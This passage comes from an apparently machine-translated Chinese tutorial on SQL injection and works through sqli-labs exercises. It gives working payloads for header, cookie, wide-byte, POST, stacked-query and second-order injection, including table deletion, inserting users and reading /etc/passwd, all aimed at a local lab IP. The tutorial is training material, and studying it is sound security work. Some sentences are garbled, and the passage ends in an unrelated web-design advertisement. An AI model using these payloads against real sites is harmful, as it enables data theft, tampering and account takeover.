:网站为了识别用户身份并进行追踪而存储在用户本地终端的数据。
User-agent:使服务器能够识别客户端使用的操作系统、浏览器版本等。
:浏览器告诉网络服务器它来自哪个页面。
X--for:简称xff ,代表客户端(即http的请求端)的真实IP。
3)头注入的前提条件
请求头信息可以修改,修改后的请求头信息可以带入数据库执行。数据库不会过滤输入请求头。
(2) 案例 sqli-labs-less-18 用户代理
1)确定注入点
通过页面登录,发现有返回的user-agent信息,可以通过抓包的方式进行注入测试。
2)判断是否有报错
抓包后在 user-agent 值后面添加干扰字符进行测试。发现可能出现的错误消息。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'
3)使用错误报告语句进行测试
User-Agent: 'and updatexml(1,0x7e,3)and '1'='1
4)确认数据库名称
User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and '
5)确认数据库表名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and '
6) 确认数据库列名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and '
7) 确认数据库字段名称
User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and '
主要需要注意的是,测试时,分页使用了limit,以及是否进行分页。如果对分页有疑问,可以查看错误注入中的解释。如果解释不完整,请善用百度。
(3) 案例sqli-labs-less-19
1)确定注入点
登录页面后发现有返回信息,可以通过抓包进行注入测试。
2)判断是否有报错
抓包后在值后面添加干扰字符进行测试。发现可能出现的错误消息。
Referer: http://192.168.10.150/sqlilabs/Less-19/'
3)使用错误报告语句进行测试
Referer: 'and updatexml(1,0x7e,3)and '1'='1
4)确认数据库名称
Referer: 'and updatexml(1,concat(0x7e,database()),3) and '
后续步骤与User-Agent测试过程相同。
(4) 案例sqli-labs-less-20
1)确定注入点
存在值是通过接口发现的。
2)判断是否有报错
抓包后在值后面添加干扰字符进行测试。发现可能出现的错误消息。
Cookie: uname=admin' and updatexml(1,0x7e,3)#
3)确认数据库名称
Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),3)#
后续步骤与User-Agent测试过程相同。
(5) 案例sqli-labs-less-21编码
1)确定注入点
通过页面,我发现它是加密的。
2)判断是否有报错
抓包后在值后面添加干扰字符进行测试。发现可能出现的错误消息。
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsMHg3ZSwzKSM=
3)如何编码
首先在 处输入相关测试语句,然后选择相关测试语句进行转换并选择“编码”。
例如:
编码前:admin') and updatexml(1,0x7e,3)#
解码后:YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsMHg3ZSwzKSM=
4)确认数据库名称
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMykj
后续步骤与普通测试过程相同。当然,需要编码。如果没有编码,就无法解析。
6. 宽字节注入(一)宽字节注入的基本概念
1)宽字节注入简介
宽字节注入是指当MySQL数据库使用宽字节(GBK)编码时,会认为两个字符为一个汉字(前面的ASCII码必须大于128(如%df)才能达到汉字的范围) ),而当我们输入单引号时,mysql会调用转义函数将单引号改为',其中\的十六进制值为%5c,mysql的GBK编码会认为%df%5c是宽字符字节。这是“运气”,使得单引号被关闭(转义)并注入到攻击中。
2)宽字节注入原理
当mysql使用GBK编码时,会认为两个字符是一个汉字(之前的ascii码必须大于128才能达到汉字的范围)。 PHP的魔引号()开启,特殊字符(如'、"、\、null)前面有\,导致关闭失败。
PHP5.4.0及以后的PHP版本取消了魔术引号,后续转义需要添加函数(去掉反斜杠)
(2)注入创意
%df吃\具体原因是(') = %5c%27。我们在%5c%27前面加上%df,形成%df%5c%27,上面提到的mysql就会把这两个字节当作一个汉字。此时%df%5c是一个汉字,%27在外面作为一个单独的符号,就达到了我们的目的。
过滤掉\'中的\,比如可以构造%**%5c%5c%27,后面的%5c就会被前面的%5c注释掉。这也是一种方法。
(3) 案例 sqli-labs-less-32 宽字节
1)确定注入点
?id=1 和 1=2 正常
此时,可以判断不是数值注入。
?id=1' 且 1=2 正常
……一直都是正常的吗?
通过提示发现后面的输出内容是用反斜杠转义的,查询到的字符也转为16进制输出。这里可以考虑使用宽字节注入来尝试。
宽字节格式是在地址后面加一个%df,然后加一个单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体汉字“连”,所以此时单引号转义成功,并报MySQL数据库错误。
URL:http://192.168.10.150/sqlilabs/Less-32/?id=1%df' and 1=2--+
2) 确定字段编号
下面是使用union查询进行注入。
URL:http://192.168.10.150/sqlilabs/Less-32/?id=-1%df' order by 4--+
3)确定显示位置
URL:http://192.168.10.150/sqlilabs/Less-32/?id=-1%df' union select 1,2,3--+
4)确定数据库名称
URL:http://192.168.10.150/sqlilabs/Less-32/?id=-1%df' union select 1,database(),3--+
您还可以使用其他方法进行注入,例如结合错误报告。
7.后注入(1)后注入的基本概念
1)后注入原理
数据从客户端提交到服务器。例如,在登录过程中,我们输入用户名和密码。用户名和密码以表单形式提交。提交到服务器后,服务器会对其进行验证。这就是一个帖子的流程。
2) 后注入前提
用户可以控制输入,将原程序要执行的代码与用户输入的数据进行拼接。
3)高危点注射后
登录框、查询框以及其他与数据库交互的框。
(2) 后注入思路
在后期处理过程中,我们输入的用户名和密码仍然会形成我们之前在后台处理期间看到的 SQL 语句。那么,我们是否可以构造出我们想要的类似 get 类型的东西呢?
(3)案例sqli-labs-less-11帖子
1)确定注入点
这里的判断注入点无法从URL进行测试。上面我们提到了,post的注入点是在登录框、查询框等处……
输入:用户名:admin'且1=1#
密码:输入您想要的任何内容即可成功登录
当然,这还需要使用其他干扰特征进行测试。
2)确定字段个数
这里也可以使用联合查询进行注入。
uname=admin' order by 3#&passwd=sdasda&submit=Submit
3)确定显示位置
这里需要让uname = 数据库中不存在的用户名,如果之前有错误的话。因为数据库中没有该用户,所以会出现错误。
uname=-admin' union select 1,2#&passwd=sdasda&submit=Submit
4)确定数据库名称
uname=-admin' union select database(),2#&passwd=sdasda&submit=Submit
当然,有时这里不使用联合查询,可以使用报错、布尔等进行注入。
8.堆栈注入(一)堆栈注入的基本概念
1)栈注入定义
(堆栈注入)从名词的意思就可以看出,应该是一堆(多个)SQL语句一起执行。实际应用中也是如此。我们知道,在mysql中,主要是在命令行中,添加;每个语句的末尾表示该语句的结束。这样我们就思考是否可以多个句子一起使用。这就是所谓的。
2)栈注入原理
在 SQL 中,分号 (;) 用于指示 SQL 语句的结束。试想一下,如果我们结束一条sql语句之后继续构造下一条语句,会不会一起执行呢?所以这个想法也创造了堆栈注入。 Union(联合注入)也将两个语句合并在一起。两者有什么区别吗?
不同的是union或union all执行的语句类型是有限的,可以用来执行查询语句,而堆栈注入可以执行任何语句。以下面的例子为例。用户输入:1; FROM 服务器生成的SQL语句为: * from where =1; FROM 执行查询时,第一个显示查询信息,第二个删除整个表。
3)堆栈注入的局限性
堆栈注入并非在所有情况下都可用。大多数时候,堆栈注入是不可能的,因为 API 或数据库引擎不支持它。
4)堆栈注入前提条件
目标存在sql注入漏洞。目标不过滤“;”数字。目标中间层在查询数据库信息时可以同时执行多条sql语句。
(2)堆叠注入攻击语句
新建一个表X:select * from users;create table X like users;
删除创建的X表:select * from users;drop table X;
查询数据:select * from users;select B,C,D;
加载文件:select * from users;select load_file('/etc/passwd');
增加一条数据:select * from users;insert into users values(18,'admin100','admin100');
(3) 案例sqli-labs-less-38堆叠
1)确定注入点
?id=1 和 1=2 正常
?id=1'且1=2为异常
这决定了关闭方法是单引号。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1' and 1=2--+
2)创建一个新表
创建一个新的测试表。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1'; create table test like users;--+
核实:
URL:http://192.168.10.150/sqlilabs/Less-38/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
从返回的数据中,可以明显看到多了一个测试文件。
3)删除表
删除测试表。
网址:#39;;跌落台测试;--+
核实:
URL:http://192.168.10.150/sqlilabs/Less-38/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
通过返回数据,显然就少了一张测试表。
4)创建用户
创建一个用户,ID 为 16,用户名: 密码:。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1'; insert into users values(16,'admin100','admin100');--+
核实:
通过输入ID号获取我们创建的用户。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=16
9. 二阶注入 (1) 二阶注入的基本概念
1)二阶注入定义
二阶排序注入也变成了存储型注入,这意味着可能引起SQL注入的字符首先存储在数据库中。当再次调用这个恶意构造的字符时,就可以发起SQL注入。
2)二阶注入原理
第1步:插入恶意数据
第一次将数据插入数据库时,仅对特殊字符进行转义。写入数据库时,原始数据被保留,但数据本身包含恶意内容。
第2步:引用恶意数据
将数据存储到数据库后,开发人员认为该数据是可信的。下次需要查询时,直接从数据库中取出恶意数据,而不进行进一步的检查和处理,这会造成SQL二次注入。
(2)二阶注入思想
黑客以向服务器提交HTTP数据包请求的形式构造数据,以便在浏览器或其他软件中进行处理。提交的数据包请求可能包含黑客构造的SQL语句或命令。
服务器端应用程序会将黑客提交的数据信息存储在数据库中。保存的数据信息的主要作用是为应用程序执行其他功能和响应客户端请求提供原始输入数据。
黑客向服务器发送与第一条不同的第二条请求数据消息。
服务器收到黑客提交的第二个请求信息后,为了处理该请求,服务器会查询数据库中已经存储的数据信息并进行处理,从而得到黑客在第一个请求中构造的SQL语句或命令请求正在被服务。在终端环境中执行。
服务器返回执行结果数据信息,黑客可以根据返回的结果数据信息判断二次注入漏洞是否被成功利用。
(3) 案例 sqli-labs-less-24 二阶
1)注册用户
二次注入是因为数据中存储的数据没有经过过滤和验证,从数据库中提取数据时没有进行过滤和验证。
用户名:admin'#
密码:
2)登录用户
登录我们刚刚创建的admin'#用户帐户。
用户名:admin'#
密码:
3)修改密码
修改admin'#的密码。
用户名:admin'#
密码:123
返回信息:
4)登录管理员账户
登录admin帐户,使用我们刚刚为admin'#帐户更改的密码。
用户名: 管理员
密码:123
我们注册的admin'#账号注册时被后端转义了,'#转义成了其他数据,所以第一次注入相当于无效。
但是当我们修改密码的时候,数据库中执行的语句是修改admin账户。下面的'#被注释掉了,所以数据库将其理解为修改admin帐户。
5、SQL注入过滤及绕过1.WAF(一)WAF原理
1)WAF原理
WAF(web)网络应用防火墙,工作在OSI模型的第七层,也称为应用层。它检测并验证Web应用程序客户端的各种请求的内容,以确保其安全性和合法性。 ,实时拦截非法请求,为Web应用提供保护。又称应用防火墙,是网络安全纵深防御体系的重要组成部分。 WAF是一种检测和纠正防御控制措施。
2)WAF分类
WAF分为非嵌入式WAF和嵌入式WAF。非嵌入式类型是指硬WAF、云WAF、虚拟机WAF等;嵌入式类型是指Web容器模块类型WAF和代码层WAF。
3)WAF工作流程
扫一扫在手机端查看
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。